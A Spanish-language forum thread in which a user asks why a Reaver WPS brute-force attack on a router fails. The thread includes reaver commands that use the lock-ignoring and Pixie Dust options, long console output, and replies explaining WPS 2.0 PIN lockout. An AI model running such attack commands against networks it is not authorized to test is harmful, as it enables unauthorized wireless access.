Error reaver wps: Received WSC NACK (reason: 0x000F)

bala · 10-01-2019 17:03:55

Miembros de la comunidad. hai hai hai ...
necesito ayuda. Es uno de mis enrutadores. Cuando doy el Pin por defecto a wps funcionando. pero. El ataque de fuerza bruta es un problema. por favor, ayúdame. ¿Qué es el comando equivocado?
un lugar un masaje (ADVERTENCIA: El código de razón para NACK ha sido cambiado. ¡Potencial FAKE NACK!) después de la rotación de sam pin. i thing Sir kcdtv experto de wps. por favor por favor por favor

XXXXXX ~ # reaver -i mon0 -b XX:XX:XX:0C:DE:70 -vv -p 15280321 -L -n

Reaver v1.5.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft fork
MOD by vk496 for [url=http://www.seguridadwireless.net]www.seguridadwireless.net[/url]

[+] Waiting for beacon from XX:XX:XX:0C:DE:70
[+] Switching mon0 to channel 1
[+] Switching mon0 to channel 2
[+] Switching mon0 to channel 11
[+] Associated with XX:XX:XX:0C:DE:70 (ESSID: XXXX)
[+] Starting Cracking Session. Pin count: 10000, Max pin attempts: 11000
[+] Trying pin "15280321"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3  message
[+] Sending M4 message
[+] Received M5  message
[+] Sending M6 message
[+] Received M7  message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 6 seconds
[+] WPS PIN: '15280321'
[+] WPA PSK: 'XXXXXXXXXX'
[+] AP SSID: 'XXXX'
[+] Nothing done, nothing to save.

-------

XXXXX ~ # reaver -i mon0 -b XX:XX:XX:0C:DE:70 -vv -L -n

Reaver v1.5.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft fork
MOD by vk496 for [url=http://www.seguridadwireless.net]www.seguridadwireless.net[/url]

[?] Restore previous session for XX:XX:XX:0C:DE:70? [n/Y] n
[+] Waiting for beacon from XX:XX:XX:0C:DE:70
[+] Switching mon0 to channel 11
[+] Associated with XX:XX:XX:0C:DE:70 (ESSID: XXXX)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3  message
[+] Sending M4 message
[+] Received WSC NACK (reason: 0x0012)
[+] Sending WSC NACK
[+] p1_index set to 1
[+] Pin count advanced: 1. Max pin attempts: 11000
[+] Trying pin "00005678"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3  message
[+] Sending M4 message
[+] Received WSC NACK (reason: 0x0012)
[+] Sending WSC NACK
[+] p1_index set to 2
[+] Pin count advanced: 2. Max pin attempts: 11000
[+] Trying pin "01235678"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3  message
[+] Sending M4 message
[+] Received WSC NACK (reason: 0x0012)
[+] Sending WSC NACK
[+] p1_index set to 3
[+] Pin count advanced: 3. Max pin attempts: 11000
[+] Trying pin "11115670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3  message
[+] Sending M4 message
[+] Received WSC NACK (reason: 0x0012)
[+] Sending WSC NACK
[+] p1_index set to 4
[+] Pin count advanced: 4. Max pin attempts: 11000
[+] Trying pin "22225672"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3  message
[+] Sending M4 message
[+] Received WSC NACK (reason: 0x0012)
[+] Sending WSC NACK
[+] p1_index set to 5
[+] Pin count advanced: 5. Max pin attempts: 11000
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[!] WARNING: The reason code for NACK has been changed. Potential FAKE NACK!
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] 0.05% complete. Elapsed time: 0d0h0m8s.
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] 0.05% complete. Elapsed time: 0d0h0m16s.
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[!] WARNING: 10 failed connections in a row
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] 0.05% complete. Elapsed time: 0d0h0m23s.
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin "33335674"

Nolose · 10-01-2019 19:18:41

No sé si estoy en lo correcto. Creo que tu router se bloquea una vez probados X pines, no devolviendo más M3. No soy experto, pero eso creo. Por ese motivo cuando mandas solo el pin, te devuelve corrrectamente la pass, pero con fuerza bruta, al probar más de X pines, pues deja de devolverte los M3, de manera que no puedes continuar con el ataque.

kcdtv · 10-01-2019 19:34:11

@ Nolosé: Es exactamente esto, clavado wink
El WPS está bloqueado y el router manda sistemáticamente un NACK (una "denegación de servicio") en lugar del M3
Si Bala no usaría la opción -L tendría el mensaje de advertencia acerca del bloqueo (y Reaver esperaría el fin del bloqueo antes de atacar) .
Más información aquí: Desbloquear el WPS ¿Sirve de algo la opción -L (--ignore-locks)?
Bala, te recuerdo que debes usar la opción para insertar código cuando pones salidas de consola. wink
PD: Se puede ver en reaver el momento del bloqueo del PA

[+] Sending M2 message
[+] Received WSC NACK (reason: 0x000F)
[!] WARNING: The reason code for NACK has been changed. Potential FAKE NACK!
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin

Hay una advertencia de riesgo de "fake nack"

bala · 11-01-2019 06:17:52

Señor kcdtv
sin -L no puedo mover la función.
después de reiniciar el enrutador es normal.
Vendedor: AtherosC
Necesito hacer algún tiempo fuera de configuración ????:rolleyes:

XXXXXX ~ # reaver -i wlan1mon -b XX:XX:XX:0C:DE:70 -vv -K

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Waiting for beacon from XX:XX:XX:0C:DE:70
[+] Switching wlan1mon to channel 1
[+] Switching wlan1mon to channel 2
[+] Switching wlan1mon to channel 3
[+] Switching wlan1mon to channel 4
[+] Switching wlan1mon to channel 5
[+] Switching wlan1mon to channel 6
[+] Switching wlan1mon to channel 7
[+] Switching wlan1mon to channel 8
[+] Switching wlan1mon to channel 9
[+] Switching wlan1mon to channel 11
[+] Received beacon from XX:XX:XX:0C:DE:70
[+] Vendor: AtherosC
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with XX:XX:XX:0C:DE:70 (ESSID: XXXX)
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
^C
[+] Nothing done, nothing to save.

XXXXXX ~ # reaver -i wlan1mon -b XX:XX:XX:0C:DE:70 -vv -K -n

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] ignoring obsolete -n switch
[+] Waiting for beacon from XX:XX:XX:0C:DE:70
[+] Switching wlan1mon to channel 11
[+] Received beacon from XX:XX:XX:0C:DE:70
[+] Vendor: AtherosC
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with XX:XX:XX:0C:DE:70 (ESSID: XXXX)
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
^C
[+] Nothing done, nothing to save.

XXXXXX ~ # reaver -i wlan1mon -b XX:XX:XX:0C:DE:70  -vv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Waiting for beacon from XX:XX:XX:0C:DE:70
[+] Switching wlan1mon to channel 11
[+] Received beacon from XX:XX:XX:0C:DE:70
[+] Vendor: AtherosC
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with XX:XX:XX:0C:DE:70 (ESSID: XXXX)
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received deauth request

kcdtv · 11-01-2019 13:19:21

sin -L no puedo mover la función.
después de reiniciar el enrutador es normal.

Ya te hemos respondido:. Tu PA se bloquea después 5 PINes falsos. Es normal, el bloqueo del modo PIN está configurado por defecto con el WPS 2.0
Y sí; Debes reiniciar el router para que el WPS funcione de nuevo. O reiniciar el servicio WPS.
El tema del bloqueo del WPS está muy documentado. Busca y encontrarás mucha información.

bala · 11-01-2019 15:05:44

Opppppssss roll :rolleyes::rolleyes:

Tema	Respuestas	Vistas	Ultimo mensaje
Duda de que grafica comprar por sol666	0	17	Hoy 19:18:22 por sol666
Milhouse!!... "A ver si llega mi llamado" :v por n0nick	1	89	Ayer 12:22:23 por kcdtv
Pegado: Pegado:: Wireless Air Cut, auditoria del protocolo wps en Windows por Patcher [ 1 2 3 … 17 ]	414	130490	22-03-2019 11:02:23 por Patcher
Pegado: Pegado:: Base de datos WPSPIN (original) open source actualizada por kcdtv [ 1 2 3 4 5 ]	110	102862	21-03-2019 10:10:48 por Patcher
Configurar antena Ubiquiti loco M5 a proveedor megacable. por Pakalkin	2	148	21-03-2019 01:31:16 por javierbu

Foro Wifi-libre.com

Anuncio

#1 10-01-2019 17:03:55